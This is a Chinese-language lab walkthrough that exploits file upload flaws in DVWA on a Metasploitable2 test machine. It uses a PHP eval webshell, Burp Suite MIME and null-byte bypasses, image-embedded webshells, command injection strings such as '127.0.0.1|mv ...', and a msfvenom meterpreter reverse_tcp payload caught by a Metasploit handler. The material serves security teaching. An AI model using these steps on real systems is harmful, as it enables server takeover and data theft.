dvwa中的文件上传漏洞

环境:

Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10)

kail机器:192.168.11.156

一、什么是文件上传漏洞?

  1. 文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回;

  1. 如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网;

上传漏洞原理图:

dvwa中的文件上传漏洞_第1张图片

文件上传漏洞,通常是由于对上传文件的类型、内容没进行严格的审查、过滤,使得攻击者可以通过上传木马获取服务器的webshell权限。

入侵条件:

  1. 木马上传成功

  1. 知道木马的路径

  1. 木马能够正常运行

二、演示dvwa上的文件上传漏洞

2.1、编辑一句话木马

pass.php文件添加

  • @表示后面即使执行错误,也不报错。

  • eval()函数表示括号内的语句字符串什么的全都当做代码执行。

  • $_POST['pass']表示从页面中获得pass这个参数值。

dvwa中的文件上传漏洞_第2张图片

2.2、低安全模式

low级别未对上传的文件进行任何验证,可以上传任意类型的文件

dvwa中的文件上传漏洞_第3张图片

尝试上传木马文件php文件,成功:

dvwa中的文件上传漏洞_第4张图片

直接打开木马文件http://192.168.11.157/dvwa/hackable/uploads/pass.php访问成功,但没有显示任何内容(因为是php文件)

dvwa中的文件上传漏洞_第5张图片

通过中国蚁剑连接工具(或者中国菜刀)将url添加进去,密码为pass

dvwa中的文件上传漏洞_第6张图片

打开文件管理,进入后台成功:

dvwa中的文件上传漏洞_第7张图片

2.3、中安全模式

限制文件类型image/jpeg和大小不能超过100000B(约为97.6KB)

dvwa中的文件上传漏洞_第8张图片
dvwa中的文件上传漏洞_第9张图片

2.3.1、可以利用burpsuite绕过

上传木马文件pass.php,更改文件类型为image/jpeg

dvwa中的文件上传漏洞_第10张图片

攻击后发现上传成功:

dvwa中的文件上传漏洞_第11张图片

2.3.2、00截断

将木马文件pass.php改名为pass.php.jpeg,上传pass.php.jpeg,同时开启burpsuite捕获

切换到Hex进制,将pass.php.jpeg截断为pass.php:

dvwa中的文件上传漏洞_第12张图片

点击“forward”, 也可将pass.php成功上传:

dvwa中的文件上传漏洞_第13张图片

2.4、高安全模式

文件后缀限制与大小限制

dvwa中的文件上传漏洞_第14张图片

下面介绍几种绕过的方法。

2.4.1、将木马隐藏在图片中绕过(High文件上传+Low命令注入)

1、将木马文件pass.php与图片文件test.jpg合并为php.jpg

windows上(关闭实时防护)使用copy命令: copy test.jpg/b+pass.php/a php.jpg

dvwa中的文件上传漏洞_第15张图片

linux上:cat pass.php >> test.jpg

可以看到,一句话木马被添加到图片的尾部(记事本查看或者cat php.jpg):

dvwa中的文件上传漏洞_第16张图片

2、将php.jpg文件上传,成功:

dvwa中的文件上传漏洞_第17张图片

3、选择命令注入(Command Execution):

调整dvwa的等级为low,在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads

dvwa中的文件上传漏洞_第18张图片

结果如下:

dvwa中的文件上传漏洞_第19张图片

4、然后通过命令注入方式输入以下命令来进行更改文件后缀

127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/php.php

再执行127.0.0.1|ls ../../hackable/uploads查看:

dvwa中的文件上传漏洞_第20张图片

5、中国蚁剑查看,指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php,参数为cmd,类型为PHP(eval):

dvwa中的文件上传漏洞_第21张图片

2.4.2、用msfvenom生成的php代码的图片木马,图片欺诈头部绕过(High文件上传+Low文件包含)

1、首先用msfvenom生成一个PHP语言的IPG图片木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.156 lport=3333 >> /root/Desktop/any.jpg

2、上传图片木马any.png

dvwa中的文件上传漏洞_第22张图片

3、在kali终端输入msfconsole进入控制台,输入如下指令

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.11.156
set lport 3333
run

4、dvwa选择low等级,切换到文件包含File Inclusion

5、在地址栏输入以下的地址并回车

http://192.168.11.157/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/any.jpg

6、msfconsole控制台就有生成一条会话

dvwa中的文件上传漏洞_第23张图片

7、然后我们通过命令查看一下/hackable/uploads这个目录下有什么文件,然后测试随便删除一个文件,看看有没有权限,测试成功

dvwa中的文件上传漏洞_第24张图片

三、参考

DVWA1.9之文件上传漏洞High级多种方法_晚安這個未知的世界的博客-CSDN博客_dvwa文件上传high级别

VMware之kali安装中国蚁剑_小豆饼的博客-CSDN博客_kali安装中国蚁剑

你可能感兴趣的:(安全,web安全,dvwa,文件上传漏洞)